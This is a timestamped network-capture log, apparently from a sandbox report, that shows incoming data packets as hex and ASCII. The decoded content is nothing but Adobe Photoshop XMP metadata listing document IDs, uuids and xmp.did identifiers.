2022-07-20 17:09:02 UTC	10148	IN	Data Raw: 74 6f 73 68 6f 70 3a 38 62 66 66 61 33 32 63 2d 35 33 34 36 2d 31 31 65 35 2d 39 39 61 33 2d 39 66 34 66 30 64 38 36 63 65 32 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 63 32 38 37 34 35 66 2d 64 62 30 37 2d 63 33 34 32 2d 61 37 38 39 2d 32 61 37 30 30 63 30 64 62 62 37 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 63 36 66 34 65 66 66 2d 61 31 66 61 2d 31 31 37 37 2d 38 36 39 63 2d 66 34 63 30 38 64 33 36 31 34 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 63 65 35 34 37 30 38 2d 31 39 62 63 2d 31 31 37 61 2d 38 Data Ascii: toshop:8bffa32c-5346-11e5-99a3-9f4f0d86ce2c</rdf:li> <rdf:li>adobe:docid:photoshop:8c28745f-db07-c342-a789-2a700c0dbb7b</rdf:li> <rdf:li>adobe:docid:photoshop:8c6f4eff-a1fa-1177-869c-f4c08d361438</rdf:li> <rdf:li>adobe:docid:photoshop:8ce54708-19bc-117a-8
2022-07-20 17:09:02 UTC	10156	IN	Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 35 62 34 30 65 30 37 2d 64 35 31 65 2d 31 31 65 30 2d 38 31 31 62 2d 65 66 38 61 31 39 36 65 39 66 66 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 35 62 62 37 66 61 38 2d 64 63 30 39 2d 31 31 64 38 2d 39 34 30 64 2d 38 63 65 34 38 37 35 65 62 64 39 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 35 66 62 35 31 36 33 2d 35 33 35 62 2d 31 31 65 36 2d 39 33 65 61 2d 38 61 30 32 65 38 33 33 36 32 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 Data Ascii: :li> <rdf:li>adobe:docid:photoshop:a5b40e07-d51e-11e0-811b-ef8a196e9ff2</rdf:li> <rdf:li>adobe:docid:photoshop:a5bb7fa8-dc09-11d8-940d-8ce4875ebd93</rdf:li> <rdf:li>adobe:docid:photoshop:a5fb5163-535b-11e6-93ea-8a02e8336221</rdf:li> <rdf:li>adobe:docid:ph
2022-07-20 17:09:02 UTC	10172	IN	Data Raw: 62 36 30 61 2d 31 31 64 38 2d 39 63 62 38 2d 63 66 31 32 38 38 35 30 32 64 62 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 38 31 30 34 64 35 30 2d 33 33 61 38 2d 31 31 65 38 2d 61 33 37 30 2d 65 31 32 38 36 31 64 62 63 35 66 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 38 32 34 38 30 63 34 2d 34 36 36 35 2d 31 35 34 39 2d 61 36 31 35 2d 66 39 39 36 64 32 31 35 35 62 34 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 38 33 35 65 66 34 61 2d 30 36 61 30 2d 31 31 37 39 2d 38 33 65 61 2d 61 33 34 34 64 38 64 35 31 35 63 37 Data Ascii: b60a-11d8-9cb8-cf1288502db2</rdf:li> <rdf:li>adobe:docid:photoshop:d8104d50-33a8-11e8-a370-e12861dbc5fa</rdf:li> <rdf:li>adobe:docid:photoshop:d82480c4-4665-1549-a615-f996d2155b4a</rdf:li> <rdf:li>adobe:docid:photoshop:d835ef4a-06a0-1179-83ea-a344d8d515c7
2022-07-20 17:09:02 UTC	10188	IN	Data Raw: 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 65 64 65 38 39 62 35 2d 39 35 34 63 2d 31 31 64 38 2d 62 38 39 37 2d 39 32 39 35 63 33 65 35 61 64 62 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 65 66 35 30 39 64 32 2d 31 38 63 39 2d 31 31 65 37 2d 38 34 33 63 2d 64 34 32 31 36 39 63 61 63 62 39 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 66 37 37 38 38 61 38 2d 31 34 30 31 2d 31 31 37 38 2d 61 61 37 38 2d 62 34 63 33 33 30 39 30 65 32 63 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 Data Ascii: :li>adobe:docid:photoshop:fede89b5-954c-11d8-b897-9295c3e5adb1</rdf:li> <rdf:li>adobe:docid:photoshop:fef509d2-18c9-11e7-843c-d42169cacb93</rdf:li> <rdf:li>adobe:docid:photoshop:ff7788a8-1401-1178-aa78-b4c33090e2c1</rdf:li> <rdf:li>adobe:docid:photoshop:f
2022-07-20 17:09:02 UTC	10196	IN	Data Raw: 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 41 46 37 41 43 35 39 42 32 34 35 44 46 31 31 42 35 34 34 43 41 38 45 43 43 31 31 38 31 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 42 31 36 31 44 42 32 43 31 31 37 31 31 44 43 38 35 38 45 43 45 32 31 46 31 42 30 38 31 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 42 32 31 35 35 34 34 36 36 35 30 31 31 44 46 38 34 32 33 42 33 33 46 42 38 39 34 35 38 46 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 42 34 30 33 35 46 36 33 45 32 35 45 30 31 31 41 44 34 39 42 32 42 43 43 35 41 32 33 46 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 42 45 37 30 37 37 41 36 31 45 45 44 46 31 31 41 35 41 31 38 Data Ascii: <rdf:li>uuid:1AF7AC59B245DF11B544CA8ECC118138</rdf:li> <rdf:li>uuid:1B161DB2C11711DC858ECE21F1B0810E</rdf:li> <rdf:li>uuid:1B215544665011DF8423B33FB89458F3</rdf:li> <rdf:li>uuid:1B4035F63E25E011AD49B2BCC5A23F71</rdf:li> <rdf:li>uuid:1BE7077A61EEDF11A5A18
2022-07-20 17:09:02 UTC	10212	IN	Data Raw: 36 43 46 46 35 30 33 36 32 46 38 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 31 45 42 38 31 42 31 36 34 38 33 31 31 44 44 39 44 41 32 41 30 39 41 33 44 37 44 44 35 30 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 31 46 42 44 44 37 45 30 30 46 39 44 44 31 31 39 41 41 32 45 35 43 45 44 38 34 42 45 31 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 32 30 30 33 42 43 44 32 39 36 31 45 30 31 31 39 33 41 37 41 46 31 39 45 42 33 39 32 32 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 32 31 34 44 30 36 37 38 46 31 36 31 31 44 41 39 44 38 31 46 46 46 41 34 36 41 30 43 36 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 Data Ascii: 6CFF50362F8F5</rdf:li> <rdf:li>uuid:51EB81B1648311DD9DA2A09A3D7DD507</rdf:li> <rdf:li>uuid:51FBDD7E00F9DD119AA2E5CED84BE109</rdf:li> <rdf:li>uuid:52003BCD2961E01193A7AF19EB39222F</rdf:li> <rdf:li>uuid:5214D0678F1611DA9D81FFFA46A0C60B</rdf:li> <rdf:li>uuid
2022-07-20 17:09:02 UTC	10228	IN	Data Raw: 38 32 45 43 44 30 38 45 45 35 33 37 31 31 44 43 42 37 44 43 39 45 39 33 46 42 46 38 43 35 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 33 31 41 31 36 45 32 32 35 32 39 44 46 31 31 42 30 45 43 38 33 39 44 30 35 30 35 37 30 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 33 31 43 33 32 36 44 41 44 45 31 44 45 31 31 41 44 45 34 45 42 46 39 37 35 45 32 37 30 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 33 33 39 38 36 43 41 46 43 38 43 44 45 31 31 39 44 45 39 38 42 44 44 34 44 31 31 38 44 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 33 34 42 38 41 35 44 42 42 32 33 45 30 31 31 42 37 32 36 45 46 46 35 33 38 34 37 39 34 32 36 3c 2f 72 Data Ascii: 82ECD08EE53711DCB7DC9E93FBF8C549</rdf:li> <rdf:li>uuid:831A16E22529DF11B0EC839D05057066</rdf:li> <rdf:li>uuid:831C326DADE1DE11ADE4EBF975E27012</rdf:li> <rdf:li>uuid:833986CAFC8CDE119DE98BDD4D118D48</rdf:li> <rdf:li>uuid:834B8A5DBB23E011B726EFF538479426</r
2022-07-20 17:09:02 UTC	10235	IN	Data Raw: 44 43 33 46 43 30 44 31 31 41 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 39 46 35 45 35 45 45 45 34 34 32 44 46 31 31 39 37 43 32 45 38 33 45 46 39 30 32 34 45 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 39 46 38 31 43 45 39 32 42 42 31 31 31 44 42 38 45 39 33 38 43 33 33 34 39 37 43 38 42 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 41 35 45 30 30 43 32 46 46 36 33 44 46 31 31 41 46 42 45 38 30 30 31 39 32 33 41 36 36 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 41 38 37 34 38 46 35 32 31 32 36 31 31 44 45 39 36 30 39 39 33 35 35 44 41 37 38 44 42 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a Data Ascii: DC3FC0D11A55</rdf:li> <rdf:li>uuid:99F5E5EEE442DF1197C2E83EF9024E6B</rdf:li> <rdf:li>uuid:99F81CE92BB111DB8E938C33497C8B38</rdf:li> <rdf:li>uuid:9A5E00C2FF63DF11AFBE8001923A6632</rdf:li> <rdf:li>uuid:9A8748F5212611DE96099355DA78DB68</rdf:li> <rdf:li>uuid:
2022-07-20 17:09:02 UTC	10251	IN	Data Raw: 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 37 38 32 34 42 39 42 46 41 33 45 45 30 31 31 42 30 36 35 45 42 30 41 43 41 45 42 32 31 42 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 37 38 44 39 42 37 46 34 41 30 38 31 31 44 46 42 43 30 41 43 46 32 32 31 33 30 38 39 46 41 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 37 43 31 30 35 45 43 36 32 46 36 44 46 31 31 42 37 42 42 42 35 30 35 39 44 46 32 41 43 34 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 37 43 36 42 35 36 36 46 43 42 41 44 45 31 31 38 41 37 44 41 30 37 44 32 35 42 41 30 33 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 38 31 30 45 42 37 36 31 42 37 30 45 31 31 31 38 32 44 33 45 34 Data Ascii: <rdf:li>uuid:D7824B9BFA3EE011B065EB0ACAEB21BB</rdf:li> <rdf:li>uuid:D78D9B7F4A0811DFBC0ACF2213089FAD</rdf:li> <rdf:li>uuid:D7C105EC62F6DF11B7BBB5059DF2AC4A</rdf:li> <rdf:li>uuid:D7C6B566FCBADE118A7DA07D25BA034D</rdf:li> <rdf:li>uuid:D810EB761B70E11182D3E4
2022-07-20 17:09:02 UTC	10267	IN	Data Raw: 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 44 41 46 43 30 38 30 35 44 35 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 41 43 36 39 35 45 37 34 36 35 36 31 35 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 42 33 36 41 32 39 44 37 38 36 34 42 45 36 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 43 31 34 39 37 44 36 37 32 46 32 35 37 31 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 43 31 34 42 31 37 36 Data Ascii: 1801174072068118A6DDAFC0805D563</rdf:li> <rdf:li>xmp.did:01801174072068118AC695E7465615C8</rdf:li> <rdf:li>xmp.did:01801174072068118B36A29D7864BE6C</rdf:li> <rdf:li>xmp.did:01801174072068118C1497D672F25710</rdf:li> <rdf:li>xmp.did:01801174072068118C14B176
2022-07-20 17:09:02 UTC	10275	IN	Data Raw: 3e 78 6d 70 2e 64 69 64 3a 30 32 35 33 31 37 38 36 32 44 32 30 36 38 31 31 41 39 36 31 43 34 42 36 41 38 46 38 34 35 45 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 35 38 45 46 37 43 33 36 32 30 36 38 31 31 38 32 32 41 43 45 43 45 46 36 43 43 30 38 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 36 31 31 64 33 37 2d 65 62 34 30 2d 33 61 34 66 2d 61 61 61 31 2d 39 35 36 39 33 63 65 39 63 65 61 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 36 37 36 31 34 41 36 45 32 31 36 38 31 31 38 43 31 34 44 38 42 46 45 35 38 41 34 44 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 37 33 33 33 43 37 31 41 Data Ascii: >xmp.did:025317862D206811A961C4B6A8F845E7</rdf:li> <rdf:li>xmp.did:0258EF7C36206811822ACECEF6CC087F</rdf:li> <rdf:li>xmp.did:02611d37-eb40-3a4f-aaa1-95693ce9ceab</rdf:li> <rdf:li>xmp.did:0267614A6E2168118C14D8BFE58A4DD6</rdf:li> <rdf:li>xmp.did:027333C71A
2022-07-20 17:09:03 UTC	10291	IN	Data Raw: 64 63 34 34 2d 34 32 37 63 2d 38 63 65 37 2d 38 32 31 33 62 38 32 39 30 62 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 35 37 35 33 46 35 44 35 33 37 45 31 31 31 38 30 32 43 46 33 31 38 42 36 34 39 35 39 31 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 36 35 34 30 65 30 2d 64 37 36 35 2d 34 31 39 62 2d 39 32 64 38 2d 37 33 63 34 39 38 61 32 36 66 38 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 36 41 42 30 37 44 30 41 32 30 36 38 31 31 39 31 30 39 43 45 37 42 34 46 41 31 41 46 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 36 41 43 45 44 35 36 45 46 39 45 31 31 31 41 30 43 34 42 46 45 32 Data Ascii: dc44-427c-8ce7-8213b8290b34</rdf:li> <rdf:li>xmp.did:065753F5D537E111802CF318B6495919</rdf:li> <rdf:li>xmp.did:066540e0-d765-419b-92d8-73c498a26f8d</rdf:li> <rdf:li>xmp.did:066AB07D0A2068119109CE7B4FA1AF12</rdf:li> <rdf:li>xmp.did:066ACED56EF9E111A0C4BFE2
2022-07-20 17:09:03 UTC	10307	IN	Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 44 38 30 43 39 43 41 44 43 42 30 31 31 44 46 42 45 39 38 39 30 34 43 44 35 38 30 35 36 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 44 38 42 44 31 38 32 46 30 36 45 45 31 31 31 42 32 39 35 46 42 44 33 33 31 46 36 35 42 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 44 42 30 42 38 30 31 30 43 32 30 36 38 31 31 41 39 36 31 42 41 41 31 32 35 38 31 37 42 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 44 42 33 32 45 33 44 37 41 32 34 45 31 31 31 39 45 43 43 46 32 46 41 45 35 31 30 30 42 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 44 42 42 39 Data Ascii: > <rdf:li>xmp.did:0D80C9CADCB011DFBE98904CD5805600</rdf:li> <rdf:li>xmp.did:0D8BD182F06EE111B295FBD331F65B49</rdf:li> <rdf:li>xmp.did:0DB0B8010C206811A961BAA125817B42</rdf:li> <rdf:li>xmp.did:0DB32E3D7A24E1119ECCF2FAE5100BBC</rdf:li> <rdf:li>xmp.did:0DBB9
2022-07-20 17:09:03 UTC	10315	IN	Data Raw: 33 39 42 31 41 36 39 43 31 32 37 46 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 34 31 30 39 32 30 33 32 32 32 30 36 38 31 31 38 30 38 33 44 38 36 43 41 31 35 46 41 46 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 34 31 33 35 37 36 34 30 34 32 33 36 38 31 31 39 37 41 35 43 38 31 44 39 31 32 34 30 30 32 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 34 32 35 34 30 66 34 2d 32 38 38 33 2d 64 65 34 34 2d 38 63 65 39 2d 63 64 30 63 34 65 32 34 30 36 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 34 32 42 37 45 43 45 41 30 45 43 45 33 31 31 39 31 38 30 38 38 44 36 46 43 41 37 38 41 33 35 3c 2f 72 64 66 Data Ascii: 39B1A69C127F67</rdf:li> <rdf:li>xmp.did:14109203222068118083D86CA15FAF3B</rdf:li> <rdf:li>xmp.did:141357640423681197A5C81D91240023</rdf:li> <rdf:li>xmp.did:142540f4-2883-de44-8ce9-cd0c4e240600</rdf:li> <rdf:li>xmp.did:142B7ECEA0ECE311918088D6FCA78A35</rdf
2022-07-20 17:09:03 UTC	10331	IN	Data Raw: 64 3a 32 32 66 62 64 65 39 30 2d 65 62 37 62 2d 61 61 34 31 2d 61 31 31 63 2d 66 36 64 33 36 37 64 38 31 35 31 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 31 31 63 39 33 36 2d 35 31 66 37 2d 38 61 34 65 2d 61 63 39 64 2d 66 66 61 31 64 36 62 63 64 31 62 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 31 45 30 39 31 43 30 46 32 30 36 38 31 31 41 39 36 31 41 39 35 37 43 30 44 38 46 41 42 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 32 33 32 37 35 34 31 38 32 31 36 38 31 31 38 44 37 44 39 35 46 37 39 42 35 33 37 32 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 32 38 46 39 33 38 30 44 32 30 36 Data Ascii: d:22fbde90-eb7b-aa41-a11c-f6d367d8151f</rdf:li> <rdf:li>xmp.did:2311c936-51f7-8a4e-ac9d-ffa1d6bcd1bb</rdf:li> <rdf:li>xmp.did:231E091C0F206811A961A957C0D8FAB1</rdf:li> <rdf:li>xmp.did:23232754182168118D7D95F79B537224</rdf:li> <rdf:li>xmp.did:2328F9380D206
2022-07-20 17:09:03 UTC	10347	IN	Data Raw: 64 69 64 3a 33 30 45 34 42 33 46 32 46 44 39 44 45 31 31 31 41 44 44 32 39 42 36 38 34 45 34 35 45 35 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 30 61 30 33 32 36 62 2d 38 38 36 64 2d 61 34 34 39 2d 62 62 62 33 2d 66 30 33 31 64 31 30 31 61 32 64 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 30 61 35 36 33 61 66 2d 61 38 34 37 2d 34 31 32 31 2d 62 66 34 63 2d 39 65 35 65 37 35 37 30 35 66 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 30 62 33 34 31 35 34 2d 63 65 38 63 2d 34 33 38 36 2d 39 39 36 39 2d 37 36 62 64 61 61 32 36 37 39 62 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 30 63 66 39 63 62 Data Ascii: did:30E4B3F2FD9DE111ADD29B684E45E581</rdf:li> <rdf:li>xmp.did:30a0326b-886d-a449-bbb3-f031d101a2d7</rdf:li> <rdf:li>xmp.did:30a563af-a847-4121-bf4c-9e5e75705f04</rdf:li> <rdf:li>xmp.did:30b34154-ce8c-4386-9969-76bdaa2679bc</rdf:li> <rdf:li>xmp.did:30cf9cb
2022-07-20 17:09:03 UTC	10355	IN	Data Raw: 36 35 34 45 31 31 45 34 42 43 42 31 39 46 30 43 36 37 41 38 44 46 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 37 34 33 45 32 31 31 31 36 32 30 36 38 31 31 38 30 38 33 46 37 42 31 30 46 39 46 32 41 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 37 35 31 36 33 39 36 2d 65 66 66 64 2d 34 61 66 32 2d 38 32 33 66 2d 38 65 66 33 61 34 65 65 36 30 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 37 36 34 31 37 31 45 36 37 33 46 45 30 31 31 41 41 30 43 38 37 39 45 35 33 32 44 37 31 41 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 37 36 43 44 31 39 33 31 35 32 30 36 38 31 31 38 30 38 33 39 33 38 38 37 34 33 Data Ascii: 654E11E4BCB19F0C67A8DFBC</rdf:li> <rdf:li>xmp.did:3743E211162068118083F7B10F9F2A14</rdf:li> <rdf:li>xmp.did:37516396-effd-4af2-823f-8ef3a4ee6086</rdf:li> <rdf:li>xmp.did:3764171E673FE011AA0C879E532D71A2</rdf:li> <rdf:li>xmp.did:376CD1931520681180839388743
2022-07-20 17:09:03 UTC	10371	IN	Data Raw: 69 64 3a 34 34 46 44 33 35 37 35 33 42 32 30 36 38 31 31 38 30 38 33 45 31 38 45 43 35 39 30 32 33 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 34 61 38 66 30 65 39 2d 66 36 38 33 2d 66 33 34 64 2d 39 61 39 39 2d 37 62 65 30 32 32 37 62 66 65 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 34 66 37 37 63 61 61 2d 61 37 35 36 2d 61 33 34 34 2d 62 34 37 62 2d 30 35 63 61 37 38 65 64 36 32 64 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 35 32 38 44 42 41 44 35 41 42 39 45 31 31 31 38 37 43 34 43 39 32 43 31 33 39 44 44 41 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 35 32 42 32 42 34 30 31 41 32 30 Data Ascii: id:44FD35753B2068118083E18EC590233A</rdf:li> <rdf:li>xmp.did:44a8f0e9-f683-f34d-9a99-7be0227bfe18</rdf:li> <rdf:li>xmp.did:44f77caa-a756-a344-b47b-05ca78ed62de</rdf:li> <rdf:li>xmp.did:4528DBAD5AB9E11187C4C92C139DDA48</rdf:li> <rdf:li>xmp.did:452B2B401A20
2022-07-20 17:09:03 UTC	10387	IN	Data Raw: 43 32 31 46 33 45 30 44 46 31 31 39 35 38 33 44 31 34 39 39 41 33 36 38 36 46 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 33 34 34 37 33 61 35 2d 35 61 37 30 2d 37 33 34 38 2d 62 30 65 34 2d 33 37 33 35 37 64 32 66 38 36 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 33 36 33 39 44 36 30 44 38 33 33 45 32 31 31 39 45 39 36 45 44 35 30 42 42 32 36 43 33 34 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 33 36 39 61 65 33 37 2d 31 31 64 39 2d 35 37 34 61 2d 38 61 32 64 2d 63 35 64 35 66 35 30 62 34 33 62 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 33 36 64 30 32 33 35 2d 30 39 32 30 2d 34 61 39 66 2d 38 Data Ascii: C21F3E0DF119583D1499A3686FD</rdf:li> <rdf:li>xmp.did:534473a5-5a70-7348-b0e4-37357d2f8605</rdf:li> <rdf:li>xmp.did:53639D60D833E2119E96ED50BB26C347</rdf:li> <rdf:li>xmp.did:5369ae37-11d9-574a-8a2d-c5d5f50b43b2</rdf:li> <rdf:li>xmp.did:536d0235-0920-4a9f-8
